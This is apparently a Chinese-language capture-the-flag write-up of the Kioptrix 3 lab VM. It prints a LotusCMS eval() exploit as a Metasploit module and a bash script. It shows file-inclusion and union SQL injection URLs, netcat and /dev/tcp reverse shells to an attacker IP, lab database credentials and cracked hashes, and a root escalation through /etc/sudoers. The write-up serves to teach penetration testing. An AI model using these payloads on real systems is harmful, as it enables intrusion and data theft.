+ Server may leak inodes via ETags, header found with file /favicon.ico, inode: 631780, size: 23126, mtime: Sat Jun 6 03:22:00 2009
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ OSVDB-3092: /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ 7914 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time: 2022-10-14 09:06:04 (GMT8) (10 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
以上三步驟,分別是確定靶機IP,確認靶機開啟服務,以及利用nikto確認網頁弱點跟有什麼目錄。因為有80 port,所以到了網頁隨便亂按,到了login頁面,試試有無SQL injection。
訪問80port,也就是網頁。
到Login頁面
嘗試SQL injection
從這例子,似乎username也不易有SQLi漏洞。
但依然顯示下圖:
所以先放棄SQLi。
放棄網頁漏洞後,想找LotusCMS的漏洞,不過從這頁面看不出來版本,所以用瀏覽器的檢視原始碼
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>LotusCMS Administration</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link href="style/comps/admin/css/login.css" rel="stylesheet" type="text/css" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="style/comps/admin/js/jquery.corner.js"></script>
<script type="text/javascript">
<!--
$(document).ready(function() {
// Handler for .ready() called.
$('body').corner();
$('#footer').corner();
$('#menu').corner("right");
});
-->
</script>
</head>
<body>
<div id="masthead">
<a href="index.php?page=index"><img src="style/comps/admin/img/smalllogo.png" style="text-decoration: none; border: 0;" alt="LotusCMS Adminstration"/></a>
</div>
<div id="content">
<div id="main">
<div class="article">
<p class='msg error'>Username or password left blank.</p>
<form method="POST" action="index.php?system=Admin&page=loginSubmit" id="contactform">
<label for="name"><h4>Username:</h4></label>
<input id="username" name="username" class="logged" /><br /><br />
<label for="password"><h4>Password:</h4></label>
<input id="password" name="password" type="password" class="logged" /><br /><br />
<input type="submit" value="Login" class="loggedIn"/>
</form>
</div>
</div>
<ul id="footer" class="clearfix">
<li style="width: 100%;text-align: center;">Proudly Powered by: <a href="http://www.lotuscms.org">LotusCMS</a></li>
</ul>
</div>
</body>
</html>
看到第25行
="index.php?page=index"><img src="style/comps/admin/img/smalllogo.png" style="text-decoration: none; border: 0;" alt="Lotus
可以從img src中看到路徑,試著到style/comps/admin/
看看。
一個一個點開看有沒有有趣的東西,在img目錄時,發現有一個version.png
那張圖片長這樣:
所以大概版本是3.0,找找有沒有相關攻擊腳本
$ searchsploit Lotus CMS
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
Lotus CMS Fraise 3.0 - Local File Inclusion / Remote Code Execution | php/webapps/15964.py
Lotus Core CMS 1.0.1 - Local File Inclusion | php/webapps/47985.txt
Lotus Core CMS 1.0.1 - Remote File Inclusion | php/webapps/5866.txt
LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit) | php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilities | php/webapps/16982.txt
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
但第4個的原始碼有以下內容:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
大概是要用msf才有辦法弄。
至於第一個,那是用python 2去寫的,所以要用pyhton2執行
$ python2 15964.py
| -------------------------------------------- |
| Lotus CMS v3.0 Remote Code Execution Exploit |
| by mr_me - net-ninja.net ------------------- |
Usage: ./15964.py [<options>] -t [target] -d [directory path]
Example 1: ./15964.py -l -p localhost:8080 -t 192.168.56.101 -d /webapps/lotus/lcms/
Example 2: ./15964.py -c -i 1294585604 -p localhost:8080 -t 192.168.56.101 -d /webapps/lotus/lcms/
Options:
-h, --help show this help message and exit
-p PROXY HTTP Proxy <server:port>
-t TARGET The Target server <server:port>
-d DIRPATH Directory path to the CMS
-i BLOGPOSTID Blog Post ID that will be injected
-l Code execution via apache access log
-c Code execution via Blog comments
可以發現會需要LotusCMS的directory path,但找不到,所以換別條路。
而這網頁存在%00截斷。如果網址輸入:
http://192.168.44.131/index.php?system=../../../../../../../../etc/passwd%00.
就會發現頁面變成如下:
網頁內容如下:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin loneferret:x:1000:100:loneferret,,,:/home/loneferret:/bin/bash dreg:x:1001:1001:Dreg Gevans,0,555-5566,:/home/dreg:/bin/rbash
Parse error: syntax error, unexpected '.', expecting T_STRING or T_VARIABLE or '$' in /home/www/kioptrix3.com/core/lib/router.php(26) : eval()'d code on line 1
雖然透過nikto知道是php而且版本是5.2.4,不過好像也沒什麼用。繼續挖有沒有什麼有趣的特徵。
比如說,當我們點login頁面時,網址是http://192.168.44.131/index.php?system=Admin
,但當我們到style/comps/admin/
看看,
點進裡面的login.phtml
會進入以下畫面
再點進最上面的超連結,可以發現網址是http://192.168.44.131/style/comps/admin/index.php?page=index
,並不是像之前的system=Admin
這種格式。
不過找不到網頁,所以把中間的style到admin刪掉,可以連回首頁如下圖
如果把page等號後面視為注入點,可以試試在index後面加單引號:
會跑出錯誤訊息,不過跟searchsploit結果一樣,是eval()函式漏洞。
看來真的也不知道該怎麼辦,只好寄望在剛剛searchsploit時看到的LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit)
。雖然它是一支要配合metasploit才能使用的攻擊腳本,但已經有youtube影片解釋要如何自己動手實現這支攻擊腳本的行為。
首先看到這支腳本的內容
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanUniqueQuery
def initialize(info = {})
super(update_info(info,
'Name' => 'LotusCMS 3.0 eval() Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability found in Lotus CMS 3.0's Router()
function. This is done by embedding PHP code in the 'page' parameter,
which will be passed to a eval call, therefore allowing remote code execution.
The module can either automatically pick up a 'page' parameter from the
default page, or manually specify one in the URI option. To use the automatic
method, please supply the URI with just a directory path, for example: "/lcms/".
To manually configure one, you may do: "/lcms/somepath/index.php?page=index"
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alligator Security Team',
'dflah_ <dflah_[at]alligatorteam.org>',
'sherl0ck_ <sherl0ck_[at]alligatorteam.org>',
'sinn3r' #Metasploit-fu
],
'References' =>
[
[ 'OSVDB', '75095' ],
[ 'URL', 'http://secunia.com/secunia_research/2011-21/' ]
],
'Payload' =>
{
'Space' => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)
'DisableNops' => true,
'BadChars' => "#",
'Keys' => ['php']
},
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic LotusCMS 3.0', { }]],
'Privileged' => false,
'DisclosureDate' => 'Mar 3 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, 'URI', '/lcms/']),
Opt::RPORT(80),
], self.class)
end
def target_url
uri = datastore['URI']
# Make sure uri begins with '/'
if uri[0] != '/'
uri = '/' + uri
end
# Extract two things:
# 1. The file path (/index.php), including the base
# 2. GET parameters from the GET query
uri = uri.scan(/^(\/.+)\/(\w+\.php)*\?*(\w+=.+&*)*$/).flatten
base = (uri[0] || "") + '/'
fname = uri[1] || ""
query = uri[2] || ""
params = queryparse(query) rescue ""
# Use the user-supplied query if there's one, if not we'll auto-detect
# by regexing a hyper-link
if base.empty? or fname.empty? or params.empty?
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['URI']
}, 20)
if res and res.code == 200
uri = res.body.scan(/<a.*href=['|"](\/*index\.php)\?.*(page=\w+)['|"].*>/).flatten
@uri = base + uri[0]
@arg = uri[1]
print_status("Using found page param: #{@uri}?#{@arg}")
else
@uri = ""
@arg = ""
end
else
@uri = base + fname
@arg = "page=#{params['page']}"
end
end
def check
target_url
if @uri.empty? or @arg.empty?
print_error("Unable to get the page parameter, please reconfigure URI")
return
end
signature = rand_text_alpha(rand(10)+10)
stub = "${print('#{signature}')};"
sploit = "');#{stub}#"
response = send_request_cgi(
{
'method' => 'POST',
'uri' => @uri,
'data' => @arg + Rex::Text.uri_encode(sploit)
}, 20)
if response and response.body =~ /#{signature}/
print_status("Signature: #{signature}")
return Exploit::CheckCode::Vulnerable
else
print_error("Signature was not detected")
return Exploit::CheckCode::Safe
end
end
def exploit
return if not check == Exploit::CheckCode::Vulnerable
begin
sploit = "');#{payload.encoded}#"
print_status("Sending exploit ...")
res = send_request_cgi(
{
'method' => 'POST',
'uri' => @uri,
'data' => @arg + Rex::Text.uri_encode(sploit)
}, 20)
handler
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
直接往下看到def check
的部分,這段程式碼可以自己手動實現。首先解析一下程式碼
signature = rand_text_alpha(rand(10)+10)
stub = "${print('#{signature}')};"
sploit = "');#{stub}#"
response = send_request_cgi(
{
'method' => 'POST',
'uri' => @uri,
'data' => @arg + Rex::Text.uri_encode(sploit)
}, 20)
先看到3個變數signature、stub跟sploit,可以發現它們其實一個引用一個,而signature只是一個隨機生成的數字。引用規則是雙引號內的東西,看到#符號直到}符號就取代。所以取代完會是長這樣: ');${print('signature生成的數字')};#
。
這時候使用firefox外掛HackBar來實踐
會有page=index是本來網頁就有這種網址,再依程式碼提示,用Post,按下Excute即可看到
看到最左邊有個小的aaa對不對? 這代表已經利用eval()函式注入PHP。
當然,也可以不要用print這種只是把字印出來的函式,比如剛剛的注入code改成:
page=index');${system('id')};#
,就可以顯示出
再比如page=index');${system('uname -a')};#
,則會輸出:
page=index');${system('pwd; ls -lua')};#
就更猛了:
不過這樣不太好看,所以檢視原始碼:
<p>Or cut to the chase and see it <a href="/gallery">now!</a></p> </div>
</div>
<div id="footer">
<p>
<!-- Leaving in my name and website link will be greatly appreciated in return for offering you this template for free. Thanking you in advance. -->
© 2011 Ligoat Security
</p>
</div>
</div>
</body>
</html>/home/www/kioptrix3.com
total 92
drwxr-xr-x 8 root root 4096 Oct 15 10:56 .
drwxr-xr-x 3 root root 4096 Apr 16 2011 ..
drwxrwxrwx 2 root root 4096 Apr 15 2011 cache
drwxrwxrwx 8 root root 4096 Apr 14 2011 core
drwxrwxrwx 8 root root 4096 Apr 16 2011 data
-rw-r--r-- 1 root root 23126 Apr 14 2011 favicon.ico
drwxr-xr-x 7 root root 4096 Apr 14 2011 gallery
-rw-r--r-- 1 root root 26430 Apr 16 2011 gnu-lgpl.txt
-rw-r--r-- 1 root root 399 Oct 15 05:27 index.php
drwxrwxrwx 10 root root 4096 Apr 16 2011 modules
drwxrwxrwx 3 root root 4096 Apr 16 201照style
-rw-r--r-- 1 root root 243 Oct 15 09:07 update.php
照這套路,應該可以在system('')
這個單引號裡塞入reverse shell所需要的指令,就可以RCE。其實這作者也有把它的bash檔釋出,來看看github上LotusCMS-Exploit/ lotusRCE.sh:
#!/bin/bash
# Lotus CMS 3.0 eval() Remote Command Execition Exploit
# flaw in router() function, original write-up: http://secunia.com/secunia_research/2011-21/
# Scripted in Bash by HR
# USAGE: ./lotusRCE.sh target lotusCMS-path
# USAGE: ./lotusRCE.sh ki0ptrix3.com /
# USAGE: ./lotusRCE.sh 192.168.1.36 /lcms/
# Enter IP and PORT when asked to spawn netcat based reverse shell ;)
#Start the magic
target="$1" #Target site, ex: 192.168.1.36 or ki0ptrix3.com (no http://)
path="$2" # Path to LotusCMS, ex: /lcms/ or /
junk=/tmp
storage1=$(mktemp -p "$junk" -t fooooobar1.tmp.XXX)
storage2=$(mktemp -p "$junk" -t fooooobar2.tmp.XXX)
#First a simple Bashtrap function to handle interupt (CTRL+C)
trap bashtrap INT
bashtrap(){
echo
echo
echo 'CTRL+C has been detected!.....shutting down now' | grep --color '.....shutting down now'
rm -rf "$storage1"
rm -rf "$storage2"
#exit entire script if called
exit 0
}
#End bashtrap()
page_exists(){
#confirm page exists
curl "$target$path/index.php?page=index" -I -o "$storage1" 2> /dev/null
cat "$storage1" | sed '2,20d' | cut -d' ' -f2 > "$storage2" 2> /dev/null
pageused=$(cat "$storage2")
if [ "$pageused" == '200' ]; then
echo
echo "Path found, now to check for vuln...." | grep --color -E 'Path found||now to check for vuln'
echo
vuln_check
else
echo "Provided site and path not found, sorry...."
exit;
fi
}
vuln_check(){
# page exists, check if vuln... URLencode: "page=index');${print('abc123')};#"
curl $target$path/index.php --data "page=index%27%29%3B%24%7Bprint%28%27Hood3dRob1n%27%29%7D%3B%23" -o "$storage1" 2> /dev/null
grep 'Hood3dRob1n' "$storage1" 2> /dev/null 2>&1
if [ "$?" == 0 ]; then
echo "Regex found, site is vulnerable to PHP Code Injection!" | grep --color -i -E 'Regex found||site is vulnerable to PHP Code Injection'
echo
exploit_funk
else
echo "Unable to find injection in returned results, sorry...."
exit;
fi
}
exploit_funk(){
# Vuln confirmed, time to exploit shall we ;)
echo "About to try and inject reverse shell...." | grep --color 'About to try and inject reverse shell'
echo "what IP to use?"
read IP
echo "What PORT?"
read PORT
echo
echo "OK, open your local listener and choose the method for back connect: " | grep --color -E 'OK||open your local listener and choose the method for back connect'
select reverse_options in "NetCat -e" "NetCat /dev/tcp" "NetCat Backpipe" "NetCat FIFO" "Exit"
do
case $reverse_options in
"NetCat -e")
curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27nc%20-e%20%2fbin%2fsh%20$IP%20$PORT%27%29%7D%3B%23%22" 2> /dev/null
;;
"NetCat /dev/tcp")
curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27%2fbin%2fbash%20-i%20%3E%20%2fdev%2ftcp%2f%24IP%2f%24PORT%200%3C%261%202%3E%261%27%29%7D%3B%23" 2> /dev/null
;;
"NetCat Backpipe")
curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27mknod%20backpipe%20p%20%26%26%20nc%20%24IP%20%24PORT%200%3Cbackpipe%20%7C%20%2fbin%2fbash%201%3Ebackpipe%27%29%7D%3B%23" 2> /dev/null
;;
"NetCat FIFO")
curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27mkfifo%20%2ftmp%2ffoo%20%26%26%20cat%20%2ftmp%2ffoo%20%7C%20%2fbin%2fsh%20-i%202%3E%261%20%7C%20nc%20%24IP%20%24PORT%20%3E%20%2ftmp%2ffoo%27%29%7D%3B%23" 2> /dev/null
;;
"Exit")
echo "got r00t?"
exit;
;;
esac
done
}
#MAIN
clear
if [ -z "$1" ] || [ "$1" == '-h' ] || [ "$1" == '--help' ]; then
echo
echo "USAGE: $0 target LotusCMS_path" | grep --color 'USAGE'
echo "EX: $0 192.168.1.36 /lcms/" | grep --color 'EX'
echo "EX: $0 ki0ptrix3.com /" | grep --color 'EX'
echo
exit;
fi
page_exists
rm -rf "$storage1"
rm -rf "$storage2"
#EOF
可以看見像是
"NetCat /dev/tcp")
curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27%2fbin%2fbash%20-i%20%3E%20%2fdev%2ftcp%2f%24IP%2f%24PORT%200%3C%261%202%3E%261%27%29%7D%3B%23" 2> /dev/null
其實把那段百分號編碼
拿去解碼(解碼網址https://www.ez2o.com/App/Web/UrlEncodeDecode
):
可以發現猜想是對的,實際上來照做一次。
假設我們選 的其中一行reverse shell
curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27nc%20-e%20%2fbin%2fsh%20$IP%20$PORT%27%29%7D%3B%23%22" 2> /dev/null
解碼後:
curl $target$path/index.php --data "page=index');${system('nc -e /bin/sh $IP $PORT')};#"" 2> /dev/null
先在攻擊機上監聽port: nc -lvp 4444
再把$IP
跟$PORT
代換成攻擊機IP跟剛剛的監聽port:
page=index');${system('nc -e /bin/sh 172.24.112.168 4444')};#
這時就可以監聽成功:
$ nc -lvp 4444
listening on [any] 4444 ...
whoami
connect to [172.24.112.168] from DESKTOP-NRNV04H.mshome.net [172.24.112.1] 49513
www-data
pwd
/home/www/kioptrix3.com
重要!
記得下這行命令:
python -c 'import pty;pty.spawn("/bin/bash")'
就會是一個正常的shell,不過這一行原理待查!
$ nc -lvp 4444
listening on [any] 4444 ...
whoami
connect to [172.24.112.168] from DESKTOP-NRNV04H.mshome.net [172.24.112.1] 49513
www-data
pwd
/home/www/kioptrix3.com
pwd
/home/www/kioptrix3.com
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@Kioptrix3:/home/www/kioptrix3.com$
接下來想要提權,但據說直接打作業系統核心沒用。所以試試看資料庫,尋找內容有關 mysql
,且副檔名為 php 的檔案
find . -name "*.php" | xargs grep -i "mysql"
出現一大堆結果,有興趣的是這些結果:
./gallery/gconfig.php: $GLOBALS["gallarific_mysql_server"] = "localhost";
./gallery/gconfig.php: $GLOBALS["gallarific_mysql_database"] = "gallery";
./gallery/gconfig.php: $GLOBALS["gallarific_mysql_username"] = "root";
./gallery/gconfig.php: $GLOBALS["gallarific_mysql_password"] = "fuckeyou";
或者,可以用另一種可能比較精確的搜尋方式
find / -name "*config.php" 2>/dev/null
這是代表尋找Web 配置文件。
在nikto掃描時也確定有phpmyadmin,另外上面的最後兩行就是登入名稱跟密碼。
在最左邊選擇gallery,再選dev_accounts,再點瀏覽,就可以看到兩個使用者名稱與密碼:
這裡密碼用md5給hash過了,隨便找一個網站解密:
MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊
0d3eccfb887aabd50f243b3f155c0f85
是Mast3r
5badcaf789d3d1d09794d8f021f40f0e
是starwars
嘗試用ssh登入:
$ ssh loneferret@192.168.44.131
Unable to negotiate with 192.168.44.131 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
之所以會出現這樣的錯誤訊息,是因為OpenSSH 7.0以後的版本不再支持ssh-dss (DSA)算法,解決方法是增加選項-oHostKeyAlgorithms=+ssh-dss,即可成功解決
$ ssh -oHostKeyAlgorithms=+ssh-dss loneferret@192.168.44.131
The authenticity of host '192.168.44.131 (192.168.44.131)' can't be established.
DSA key fingerprint is SHA256:hB/LEVToKJYae+t/k0W5knptdIsQ/eS2TnBbUrxHIG8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.44.131' (DSA) to the list of known hosts.
loneferret@192.168.44.131's password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106
loneferret@Kioptrix3:~$
來翻翻這個帳號有沒有什麼有趣的東西:
loneferret@Kioptrix3:~$ ls
checksec.sh CompanyPolicy.README
loneferret@Kioptrix3:~$ cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.
DG
CEO
所以翻到了一個CompanyPolicy.README,裡面寫了可以透過sudo ht
來編輯、創建跟瀏覽檔案。
loneferret@Kioptrix3:~$ sudo ht
Error opening terminal: xterm-256color.
loneferret@Kioptrix3:~$ export TERM=xterm
loneferret@Kioptrix3:~$ sudo ht
上面這一段故事是這樣的,如果直接sudo ht
,會跳出Error opening terminal: xterm-256color.
,google一下後,知道要先export TERM=xterm
,再開啟ht這個編輯器。
開啟成功後畫面如下:
接下來要做的事,是讓loneferret可以有使用shell的權限。
按F3開啟檔案/etc/sudoers
開啟後,在如下圖的編輯畫面中,加上一個,/bin/sh
如下圖黃標。
原本的loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/localbin/ht
意思是這樣的:
loneferret可以從所有主機(第一個ALL的意思),在不輸入密碼的情況下(NOPASSWD的意思),執行!/usr/bin/su, /usr/localbin/ht
兩條指令。所以我們可以加上/bin/su
,使得這使用者不用密碼即可提權。
按F2儲存,F10退出。輸入sudo -l
列出當前用戶可以執行的命令。只有在 sudoers 裏的用戶才能使用該選項。
loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
(root) NOPASSWD: !/usr/bin/su
(root) NOPASSWD: /usr/local/bin/ht
(root) NOPASSWD: /bin/sh
不過這樣無法提權,所以乾脆不要用/bin/sh
,直接改成/bin/su
loneferret@Kioptrix3:~$ sudo su
[sudo] password for loneferret:
Sorry, user loneferret is not allowed to execute '/bin/su' as root on Kioptrix3.
loneferret@Kioptrix3:~$ sudo ht
loneferret@Kioptrix3:~$ sudo su
root@Kioptrix3:/home/loneferret#
提權成功。
接下來要找flag,故技重施,先到根目錄,接下來就updatedb
跟locate root
。
root@Kioptrix3:/home/loneferret# pwd
/home/loneferret
root@Kioptrix3:/home/loneferret# cd
root@Kioptrix3:~# updatedb
root@Kioptrix3:~# locate root
/root
/etc/init.d/checkroot.sh
/etc/init.d/umountroot
/etc/rc0.d/S60umountroot
/etc/rc6.d/S60umountroot
/etc/rcS.d/S20checkroot.sh
/lib/security/pam_rootok.so
/opt/framework-3.6.0/msf3/data/wordlists/root_userpass.txt
/opt/framework-3.6.0/msf3/data/wordlists/.svn/text-base/root_userpass.txt.svn-base
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-arm/syscalls/chroot.S
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-arm/syscalls/.svn/text-base/chroot.S.svn-base
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-sh/syscalls/chroot.S
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-sh/syscalls/.svn/text-base/chroot.S.svn-base
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-x86/syscalls/chroot.S
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-x86/syscalls/.svn/text-base/chroot.S.svn-base
/opt/framework-3.6.0/share/nmap/scripts/ldap-rootdse.nse
/root/.bash_history
/root/.bashrc
/root/.mysql_history
/root/.nano_history
/root/.profile
/root/.ssh
/root/.subversion
/root/Congrats.txt
/root/ht-2.0.18
/root/.subversion/README.txt
/root/.subversion/auth
/root/.subversion/config
/root/.subversion/servers
/root/.subversion/auth/svn.simple
/root/.subversion/auth/svn.ssl.client-passphrase
/root/.subversion/auth/svn.ssl.server
/root/.subversion/auth/svn.username
/root/ht-2.0.18/.deps
/root/ht-2.0.18/AUTHORS
/root/ht-2.0.18/COPYING
/root/ht-2.0.18/ChangeLog
/root/ht-2.0.18/INSTALL
/root/ht-2.0.18/KNOWNBUGS
/root/ht-2.0.18/Makefile
/root/ht-2.0.18/Makefile.am
/root/ht-2.0.18/Makefile.in
/root/ht-2.0.18/NEWS
...中間一大堆ht-2.0.18資料夾裡的東西
/root/ht-2.0.18/tools/.deps/bin2c.Po
/sbin/pivot_root
/usr/lib/klibc/bin/chroot
/usr/lib/klibc/bin/pivot_root
/usr/sbin/chroot
/usr/sbin/rootflags
/usr/share/man/man8/chroot.8.gz
/usr/share/man/man8/pam_rootok.8.gz
/usr/share/man/man8/pivot_root.8.gz
/usr/share/man/man8/rootflags.8.gz
/usr/share/man/man8/sudo_root.8.gz
/usr/share/mysql/mysql-test/include/not_as_root.inc
/usr/share/mysql/mysql-test/r/not_as_root.require
/usr/share/recovery-mode/options/root
/usr/share/ri/1.8/system/Dir/chroot-c.yaml
/usr/share/ri/1.8/system/Net/IMAP/getquotaroot-i.yaml
/usr/share/ri/1.8/system/PStore/root%3f-i.yaml
/usr/share/ri/1.8/system/PStore/roots-i.yaml
/usr/share/ri/1.8/system/Pathname/chroot-i.yaml
/usr/share/ri/1.8/system/Pathname/root%3f-i.yaml
/usr/share/ri/1.8/system/REXML/Document/root-i.yaml
/usr/share/ri/1.8/system/REXML/Element/root-i.yaml
/usr/share/ri/1.8/system/REXML/Element/root_node-i.yaml
/usr/share/ri/1.8/system/REXML/Light/Node/root-i.yaml
/usr/share/ri/1.8/system/SOAP/MIMEMessage/root-i.yaml
/usr/share/ri/1.8/system/SOAP/SOAPBody/root_node-i.yaml
/usr/share/ri/1.8/system/SOAP/SOAPType/rootnode-i.yaml
/var/log/fsck/checkroot
其中/root/Congrats.txt
嫌疑最大,
root@Kioptrix3:~# cat Congrats.txt
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.
Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone.
Difficulty is relative, keep that in mind.
The object is to learn, do some research and have a little (legal)
fun in the process.
I hope you enjoyed this third challenge.
Steven McElrea
aka loneferret
http://www.kioptrix.com
Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.
Main page CMS:
http://www.lotuscms.org
Gallery application:
Gallarific 2.1 - Free Version released October 10, 2009
http://www.gallarific.com
Vulnerable version of this application can be downloaded
from the Exploit-DB website:
http://www.exploit-db.com/exploits/15891/
The HT Editor can be found here:
http://hte.sourceforge.net/downloads.html
And the vulnerable version on Exploit-DB here:
http://www.exploit-db.com/exploits/17083/
Also, all pictures were taken from Google Images, so being part of the
public domain I used them.
看來應該是沒錯。
探測網頁漏洞另一種方式:
首先到這個網址: http://192.168.44.131/gallery/gallery.php?id=1&sort=photoid#photos
不過這網址怎麼來的其實很玄,照這個網站,先到首頁到根據以下紅框點選:
即可得到上述網址。但其實真的照點,應該會被導到:
http://192.168.44.131/gallery/g.php/1
不過不管,直接到該網址後:
這裡試試id後加單引號(紅圈圈處),根據錯誤訊息知道有SQL injection。
首先要猜資料庫column有幾列
http://192.168.44.131/gallery/gallery.php?id=-1 order by 5 --+ &sort=photoid#photos
http://192.168.44.131/gallery/gallery.php?id=-1 order by 6 --+ &sort=photoid#photos
http://192.168.44.131/gallery/gallery.php?id=-1 order by 7 --+ &sort=photoid#photos
所以是六列。
接下來尋找哪一列的值會顯示在網頁上:
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,2,3,4,5,6 --+ &sort=photoid#photos
利用這兩個回顯點,輸出想看的訊息,也就是把網址的2跟3換成sql的指令。
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,database(),user(),4,5,6 --+ &sort=photoid#photos
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,user(),database(),4,5,6 --+ &sort=photoid#photos
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,@@version,database(),4,5,6 --+ &sort=photoid#photos
得到資料庫的所有表(table):
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,group_concat(table_name),database(),4,5,6 from information_schema.tables where table_schema=database() --+ &sort=photoid#photos
